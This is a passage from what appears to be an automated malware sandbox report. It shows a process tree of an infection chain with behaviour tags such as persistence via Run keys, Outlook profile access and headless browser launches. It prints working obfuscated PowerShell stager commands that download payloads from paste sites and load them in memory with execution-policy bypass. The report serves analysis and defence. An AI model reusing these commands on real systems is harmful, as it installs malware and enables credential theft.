BQ的这GE的这d的这Bo的这C的这的这J的这BW的这EI的这VwBX的这Ho的这I的这的这g的这C0的这ZgBv的这HI的这YwBl的这C的这的这OwBw的这G8的这dwBl的这HI的这cwBo的这GU的这b的这Bs的这C的这的这LQBF的这Hg的这ZQBj的这HU的这d的这Bp的这G8的这bgBQ的这G8的这b的这Bp的这GM的这eQ的这g的这EI的这eQBw的这GE的这cwBz的这C的这的这LQBG的这Gk的这b的这Bl的这C的这的这J的这BW的这EI的这VwBX的这Ho的这I的这的这7的这的这==';;$MgOrq = ($IuJUJJZz -replace '的这' , 'A');;$IgvVM = [system.Convert]::FromBase64String( $MgOrq );;$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString($IgvVM);;powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/jgKWLc0S' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'ittpA.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'RTxuv.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$gDwFu = 'Load';$WFnlg = 'invoke';$FoGmg = $null;$MODRg = '$mMOjU = ''war/qD0Q5/gro.etsapd//:'' + ''sptth'';;$x = (Join-Path $env:TEMP ''RTxuv.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'',''A'');' ;$MODRg += '[Byte[]] $oTFes = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.' + $gDwFu + '( $oTFes ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).' + $WFnlg + '( $FoGmg , [object[]] ( $mMOjU , ''%fOyRe%'' , ''____________________________________________-------'', ''0134'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'nAvER.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\nAvER.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Copy-Item '%fOyRe%' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Copy-Item '%fOyRe%' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5264
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:5032
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2904
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe0e54dcf8,0x7ffe0e54dd04,0x7ffe0e54dd10
        7⤵
        
        PID:2676
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1656,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
        7⤵
        
        PID:2820
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --field-trial-handle=1996,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:3
        7⤵
        
        PID:1916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --field-trial-handle=2040,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:8
        7⤵
        
        PID:3540
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2836,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:1
        7⤵
        
        PID:5628
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2848,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:1
        7⤵
        
        PID:5640
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3300,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:1
        7⤵
        
        PID:5756
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3336,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=3356 /prefetch:2
        7⤵
        
        PID:3208
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3364,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
        7⤵
        
        PID:2748
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3396,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:2
        7⤵
        
        PID:4420
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4304,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
        7⤵
        
        PID:4680
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gfgwuzhq.tzm" --field-trial-handle=4408,i,17050558034660316516,17469433693780179450,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:8
        7⤵
        
        PID:4436
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ugwnlx3g.ffn"
        6⤵
        
        PID:2336
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ugwnlx3g.ffn
        7⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3604
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {df379fba-249d-41dc-ac81-72c224c6489c} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:5768
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2184 -prefsLen 27135 -prefMapHandle 2172 -prefMapSize 270279 -ipcHandle 2472 -initialChannelId {717051ee-ca7c-48b1-82df-c937a6aeada4} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:2000
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\0fd0358d-eb72-40f9-8a75-9e399e5e4912.dmp"
        8⤵
        
        PID:3680
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2264 -prefsLen 27135 -prefMapHandle 2904 -prefMapSize 270279 -ipcHandle 2912 -initialChannelId {65f50be6-ebf5-4052-a2b3-76287928edc9} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:3328
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\256724d1-09da-4ebc-b9df-eec4ee9b2b8a.dmp"
        8⤵
        
        PID:4544
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2984 -prefsLen 27135 -prefMapHandle 2988 -prefMapSize 270279 -ipcHandle 2732 -initialChannelId {79814b0f-7f93-4cea-b01a-4f62c5689b58} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:5864
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\7d6761d2-eb22-4d4d-a723-949c2e0e063e.dmp"
        8⤵
        
        PID:5124
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3536 -prefsLen 27249 -prefMapHandle 3904 -prefMapSize 270279 -ipcHandle 3868 -initialChannelId {1463ff97-74a7-4b1f-9268-7b257554fd4b} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        8⤵
        
        PID:6048
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3300 -prefsLen 27325 -prefMapHandle 3284 -prefMapSize 270279 -jsInitHandle 3288 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3276 -initialChannelId {f9af0d0d-32ad-49db-8327-f201895d6e01} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        8⤵
        Checks processor information in registry
        
        PID:3820
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\9c04d678-b306-4389-84e6-93cc348db56d.dmp"
        8⤵
        
        PID:396
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3588 -prefsLen 27325 -prefMapHandle 3300 -prefMapSize 270279 -ipcHandle 3284 -initialChannelId {abb437c7-ec2f-4e5a-b2da-95222991b96b} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        8⤵
        
        PID:5044
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\6defc9dc-fb9b-463c-8e3f-91a88fa6410f.dmp"
        8⤵
        
        PID:3764
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4464 -prefsLen 27325 -prefMapHandle 4468 -prefMapSize 270279 -ipcHandle 4476 -initialChannelId {872442aa-4e59-4c3a-9a5c-e9bba9b1a131} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        8⤵
        
        PID:5540
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2732 -prefsLen 34824 -prefMapHandle 2936 -prefMapSize 270279 -jsInitHandle 3312 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2764 -initialChannelId {8b418bcb-8b39-41d9-ad3f-339846fa70d8} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        8⤵
        Checks processor information in registry
        
        PID:3284
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3168 -prefsLen 35012 -prefMapHandle 5104 -prefMapSize 270279 -ipcHandle 5152 -initialChannelId {e95b6947-531b-4b2c-890a-a3d834dd6690} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        8⤵
        Checks processor information in registry
        
        PID:6424
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5288 -prefsLen 32900 -prefMapHandle 5292 -prefMapSize 270279 -jsInitHandle 5296 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5324 -initialChannelId {7f9fbdea-f59a-44e1-bf87-8e0b6e8a22fb} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        Checks processor information in registry
        
        PID:6592
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5312 -prefsLen 32900 -prefMapHandle 5316 -prefMapSize 270279 -jsInitHandle 5320 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5296 -initialChannelId {d8897984-4f69-4d98-b3e0-6c68a470dfb0} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:6604
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5440 -prefsLen 32952 -prefMapHandle 5288 -prefMapSize 270279 -jsInitHandle 5536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5748 -initialChannelId {d3b1c5c2-3076-4e45-b5e7-b15500ea8e92} -parentPid 3604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        8⤵
        Checks processor information in registry
        
        PID:6624
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:2164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x20c,0x7ffe0c77f208,0x7ffe0c77f214,0x7ffe0c77f220
        7⤵
        
        PID:3248
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2256,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:2
        7⤵
        
        PID:2200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=1884,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:3
        7⤵
        
        PID:4776
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=2340,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:8
        7⤵
        
        PID:5112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3384,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
        7⤵
        
        PID:4948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3392,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
        7⤵
        
        PID:3508
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=3684,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:8
        7⤵
        
        PID:5192
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=3696,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3944 /prefetch:8
        7⤵
        
        PID:5932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=3700,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:8
        7⤵
        
        PID:4576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3800,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
        7⤵
        
        PID:3432
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3816,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:2
        7⤵
        
        PID:3156
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
